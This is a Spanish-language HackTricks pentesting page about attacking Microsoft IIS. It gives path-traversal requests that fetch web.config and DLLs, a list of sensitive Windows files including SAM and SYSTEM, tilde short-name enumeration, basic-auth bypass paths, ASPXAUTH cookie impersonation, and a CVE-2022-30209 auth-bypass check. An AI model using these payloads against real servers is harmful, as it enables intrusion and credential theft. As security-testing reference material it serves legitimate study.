mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-25 11:25:13 +00:00
299 lines
16 KiB
Markdown
299 lines
16 KiB
Markdown
# IIS - Internet Information Services
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|
|
|
|
Probar extensiones de archivos ejecutables:
|
|
|
|
* asp
|
|
* aspx
|
|
* config
|
|
* php
|
|
|
|
## Divulgación de la Dirección IP Interna
|
|
|
|
En cualquier servidor IIS donde obtengas un 302, puedes intentar eliminar el encabezado Host y usar HTTP/1.0, y dentro de la respuesta, el encabezado Location podría apuntarte a la dirección IP interna:
|
|
|
|
```
|
|
nc -v domain.com 80
|
|
openssl s_client -connect domain.com:443
|
|
```
|
|
|
|
Respuesta revelando la IP interna:
|
|
|
|
```
|
|
GET / HTTP/1.0
|
|
|
|
HTTP/1.1 302 Moved Temporarily
|
|
Cache-Control: no-cache
|
|
Pragma: no-cache
|
|
Location: https://192.168.5.237/owa/
|
|
Server: Microsoft-IIS/10.0
|
|
X-FEServer: NHEXCHANGE2016
|
|
```
|
|
|
|
## Ejecutar archivos .config
|
|
|
|
Puedes cargar archivos .config y usarlos para ejecutar código. Una forma de hacerlo es agregando el código al final del archivo dentro de un comentario HTML: [Descarga el ejemplo aquí](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
|
|
|
Más información y técnicas para explotar esta vulnerabilidad [aquí](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
|
|
|
## Fuerza bruta de descubrimiento de IIS
|
|
|
|
Descarga la lista que he creado:
|
|
|
|
{% file src="../../.gitbook/assets/iisfinal.txt" %}
|
|
|
|
Fue creada fusionando los contenidos de las siguientes listas:
|
|
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/IIS.fuzz.txt)\
|
|
[http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html](http://itdrafts.blogspot.com/2013/02/aspnetclient-folder-enumeration-and.html)\
|
|
[https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt](https://github.com/digination/dirbuster-ng/blob/master/wordlists/vulns/iis.txt)\
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/aspx.txt)\
|
|
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
|
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
|
|
|
Úsalo sin agregar ninguna extensión, los archivos que la necesitan ya la tienen.
|
|
|
|
## Travesía de ruta
|
|
|
|
### Filtración de código fuente
|
|
|
|
Consulta el informe completo en: [https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
|
|
|
|
{% hint style="info" %}
|
|
En resumen, hay varios archivos web.config dentro de las carpetas de la aplicación con referencias a archivos "**assemblyIdentity**" y "**namespaces**". Con esta información es posible saber **dónde se encuentran los ejecutables** y descargarlos.\
|
|
A partir de los **Dlls descargados** también es posible encontrar **nuevos namespaces** a los que se debe intentar acceder y obtener el archivo web.config para encontrar nuevos namespaces y assemblyIdentity.\
|
|
Además, los archivos **connectionstrings.config** y **global.asax** pueden contener información interesante.\\
|
|
{% endhint %}
|
|
|
|
En las aplicaciones de **.Net MVC**, el archivo **web.config** juega un papel crucial al especificar cada archivo binario en el que se basa la aplicación a través de etiquetas XML de **"assemblyIdentity"**.
|
|
|
|
### **Explorando archivos binarios**
|
|
|
|
A continuación se muestra un ejemplo de acceso al archivo **web.config**:
|
|
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
|
|
Este requerimiento revela varios ajustes y dependencias, tales como:
|
|
|
|
* Versión de **EntityFramework**
|
|
* **AppSettings** para páginas web, validación de cliente y JavaScript
|
|
* Configuraciones de **System.web** para autenticación y tiempo de ejecución
|
|
* Ajustes de módulos de **System.webServer**
|
|
* Enlaces de ensamblado de tiempo de ejecución para numerosas bibliotecas como **Microsoft.Owin**, **Newtonsoft.Json** y **System.Web.Mvc**
|
|
|
|
Estos ajustes indican que ciertos archivos, como **/bin/WebGrease.dll**, se encuentran dentro de la carpeta /bin de la aplicación.
|
|
|
|
### **Archivos del Directorio Raíz**
|
|
|
|
Los archivos encontrados en el directorio raíz, como **/global.asax** y **/connectionstrings.config** (que contiene contraseñas sensibles), son esenciales para la configuración y operación de la aplicación.
|
|
|
|
### **Espacios de nombres y Web.Config**
|
|
|
|
Las aplicaciones MVC también definen archivos **web.config** adicionales para espacios de nombres específicos para evitar declaraciones repetitivas en cada archivo, como se demuestra con un requerimiento para descargar otro **web.config**:
|
|
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
|
|
### **Descarga de DLLs**
|
|
|
|
La mención de un espacio de nombres personalizado sugiere la presencia de una DLL llamada "**WebApplication1**" en el directorio /bin. A continuación, se muestra una solicitud para descargar el archivo **WebApplication1.dll**:
|
|
|
|
```markup
|
|
GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
|
|
Host: example-mvc-application.minded
|
|
```
|
|
|
|
Esto sugiere la presencia de otras DLL esenciales, como **System.Web.Mvc.dll** y **System.Web.Optimization.dll**, en el directorio /bin.
|
|
|
|
En un escenario donde una DLL importa un espacio de nombres llamado **WebApplication1.Areas.Minded**, un atacante podría inferir la existencia de otros archivos web.config en rutas predecibles, como **/nombre-de-area/Views/**, que contienen configuraciones específicas y referencias a otras DLL en la carpeta /bin. Por ejemplo, una solicitud a **/Minded/Views/web.config** puede revelar configuraciones y espacios de nombres que indican la presencia de otra DLL, **WebApplication1.AdditionalFeatures.dll**.
|
|
|
|
### Archivos comunes
|
|
|
|
Desde [aquí](https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/)
|
|
|
|
```
|
|
C:\Apache\conf\httpd.conf
|
|
C:\Apache\logs\access.log
|
|
C:\Apache\logs\error.log
|
|
C:\Apache2\conf\httpd.conf
|
|
C:\Apache2\logs\access.log
|
|
C:\Apache2\logs\error.log
|
|
C:\Apache22\conf\httpd.conf
|
|
C:\Apache22\logs\access.log
|
|
C:\Apache22\logs\error.log
|
|
C:\Apache24\conf\httpd.conf
|
|
C:\Apache24\logs\access.log
|
|
C:\Apache24\logs\error.log
|
|
C:\Documents and Settings\Administrator\NTUser.dat
|
|
C:\php\php.ini
|
|
C:\php4\php.ini
|
|
C:\php5\php.ini
|
|
C:\php7\php.ini
|
|
C:\Program Files (x86)\Apache Group\Apache\conf\httpd.conf
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\access.log
|
|
C:\Program Files (x86)\Apache Group\Apache\logs\error.log
|
|
C:\Program Files (x86)\Apache Group\Apache2\conf\httpd.conf
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\access.log
|
|
C:\Program Files (x86)\Apache Group\Apache2\logs\error.log
|
|
c:\Program Files (x86)\php\php.ini"
|
|
C:\Program Files\Apache Group\Apache\conf\httpd.conf
|
|
C:\Program Files\Apache Group\Apache\conf\logs\access.log
|
|
C:\Program Files\Apache Group\Apache\conf\logs\error.log
|
|
C:\Program Files\Apache Group\Apache2\conf\httpd.conf
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\access.log
|
|
C:\Program Files\Apache Group\Apache2\conf\logs\error.log
|
|
C:\Program Files\FileZilla Server\FileZilla Server.xml
|
|
C:\Program Files\MySQL\my.cnf
|
|
C:\Program Files\MySQL\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.1\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.5\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.6\my.ini
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.cnf
|
|
C:\Program Files\MySQL\MySQL Server 5.7\my.ini
|
|
C:\Program Files\php\php.ini
|
|
C:\Users\Administrator\NTUser.dat
|
|
C:\Windows\debug\NetSetup.LOG
|
|
C:\Windows\Panther\Unattend\Unattended.xml
|
|
C:\Windows\Panther\Unattended.xml
|
|
C:\Windows\php.ini
|
|
C:\Windows\repair\SAM
|
|
C:\Windows\repair\system
|
|
C:\Windows\System32\config\AppEvent.evt
|
|
C:\Windows\System32\config\RegBack\SAM
|
|
C:\Windows\System32\config\RegBack\system
|
|
C:\Windows\System32\config\SAM
|
|
C:\Windows\System32\config\SecEvent.evt
|
|
C:\Windows\System32\config\SysEvent.evt
|
|
C:\Windows\System32\config\SYSTEM
|
|
C:\Windows\System32\drivers\etc\hosts
|
|
C:\Windows\System32\winevt\Logs\Application.evtx
|
|
C:\Windows\System32\winevt\Logs\Security.evtx
|
|
C:\Windows\System32\winevt\Logs\System.evtx
|
|
C:\Windows\win.ini
|
|
C:\xampp\apache\conf\extra\httpd-xampp.conf
|
|
C:\xampp\apache\conf\httpd.conf
|
|
C:\xampp\apache\logs\access.log
|
|
C:\xampp\apache\logs\error.log
|
|
C:\xampp\FileZillaFTP\FileZilla Server.xml
|
|
C:\xampp\MercuryMail\MERCURY.INI
|
|
C:\xampp\mysql\bin\my.ini
|
|
C:\xampp\php\php.ini
|
|
C:\xampp\security\webdav.htpasswd
|
|
C:\xampp\sendmail\sendmail.ini
|
|
C:\xampp\tomcat\conf\server.xml
|
|
```
|
|
|
|
## Error 404 de HTTPAPI 2.0
|
|
|
|
Si ves un error como el siguiente:
|
|
|
|
![](https://github.com/carlospolop/hacktricks/blob/es/.gitbook/assets/image%20\(446\)%20\(1\)%20\(2\)%20\(2\)%20\(3\)%20\(3\)%20\(2\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(1\)%20\(13\).png)
|
|
|
|
Significa que el servidor **no recibió el nombre de dominio correcto** dentro del encabezado Host.\
|
|
Para acceder a la página web, podrías revisar el **Certificado SSL** servido y tal vez encuentres el nombre de dominio/subdominio allí. Si no está, es posible que necesites **forzar VHosts** hasta encontrar el correcto.
|
|
|
|
## Antiguas vulnerabilidades de IIS que vale la pena buscar
|
|
|
|
### Vulnerabilidad/Característica de Microsoft IIS del carácter de tilde "\~" - Divulgación de Nombre Corto de Archivo/Carpeta
|
|
|
|
Puedes intentar **enumerar carpetas y archivos** dentro de cada carpeta descubierta (incluso si requiere Autenticación Básica) utilizando esta **técnica**.\
|
|
La principal limitación de esta técnica si el servidor es vulnerable es que **solo puede encontrar hasta las primeras 6 letras del nombre de cada archivo/carpeta y las primeras 3 letras de la extensión** de los archivos.
|
|
|
|
Puedes usar [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) para probar esta vulnerabilidad:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
|
|
|
![](<../../.gitbook/assets/image (183).png>)
|
|
|
|
Investigación original: [https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf](https://soroush.secproject.com/downloadable/microsoft\_iis\_tilde\_character\_vulnerability\_feature.pdf)
|
|
|
|
También puedes usar **metasploit**: `use scanner/http/iis_shortname_scanner`
|
|
|
|
### Bypass de Autenticación Básica
|
|
|
|
**Burla** una autenticación básica (**IIS 7.5**) intentando acceder a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
|
|
|
|
Puedes intentar **combinar** esta **vulnerabilidad** y la anterior para encontrar nuevas **carpetas** y **burlar** la autenticación.
|
|
|
|
## Depuración habilitada de Trace.AXD de ASP.NET
|
|
|
|
ASP.NET incluye un modo de depuración y su archivo se llama `trace.axd`.
|
|
|
|
Mantiene un registro muy detallado de todas las solicitudes realizadas a una aplicación durante un período de tiempo.
|
|
|
|
Esta información incluye IP's de clientes remotos, IDs de sesión, todas las cookies de solicitud y respuesta, rutas físicas, información de código fuente y potencialmente incluso nombres de usuario y contraseñas.
|
|
|
|
[https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/](https://www.rapid7.com/db/vulnerabilities/spider-asp-dot-net-trace-axd/)
|
|
|
|
![Captura de pantalla 2021-03-30 a las 13 19 11](https://user-images.githubusercontent.com/31736688/112974448-2690b000-915b-11eb-896c-f41c27c44286.png)
|
|
|
|
## Cookie ASPXAUTH
|
|
|
|
ASPXAUTH utiliza la siguiente información:
|
|
|
|
* **`validationKey`** (cadena): clave codificada en hexadecimal para usar en la validación de firma.
|
|
* **`decryptionMethod`** (cadena): (por defecto "AES").
|
|
* **`decryptionIV`** (cadena): vector de inicialización codificado en hexadecimal (por defecto un vector de ceros).
|
|
* **`decryptionKey`** (cadena): clave codificada en hexadecimal para usar en el descifrado.
|
|
|
|
Sin embargo, algunas personas usarán los **valores predeterminados** de estos parámetros y usarán como **cookie el correo electrónico del usuario**. Por lo tanto, si puedes encontrar un sitio web que use la **misma plataforma** que esté utilizando la cookie ASPXAUTH y **creas un usuario con el correo electrónico del usuario que deseas suplantar** en el servidor bajo ataque, podrías **usar la cookie del segundo servidor en el primero** y suplantar al usuario.\
|
|
Este ataque funcionó en este [**informe**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
|
|
|
## Bypass de Autenticación de IIS con contraseñas en caché (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
|
|
|
[Informe completo aquí](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html): Un error en el código **no verificaba correctamente la contraseña proporcionada por el usuario**, por lo que un atacante cuyo **hash de contraseña coincide con una clave** que ya está en la **caché** podrá iniciar sesión como ese usuario.
|
|
|
|
```python
|
|
# script for sanity check
|
|
> type test.py
|
|
def HashString(password):
|
|
j = 0
|
|
for c in map(ord, password):
|
|
j = c + (101*j)&0xffffffff
|
|
return j
|
|
|
|
assert HashString('test-for-CVE-2022-30209-auth-bypass') == HashString('ZeeiJT')
|
|
|
|
# before the successful login
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
|
HTTP/1.1 401 Unauthorized
|
|
|
|
# after the successful login
|
|
> curl -I -su 'orange:ZeeiJT' 'http://<iis>/protected/' | findstr HTTP
|
|
HTTP/1.1 200 OK
|
|
```
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Otras formas de apoyar a HackTricks:
|
|
|
|
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
|
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
|
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
|
|
|
</details>
|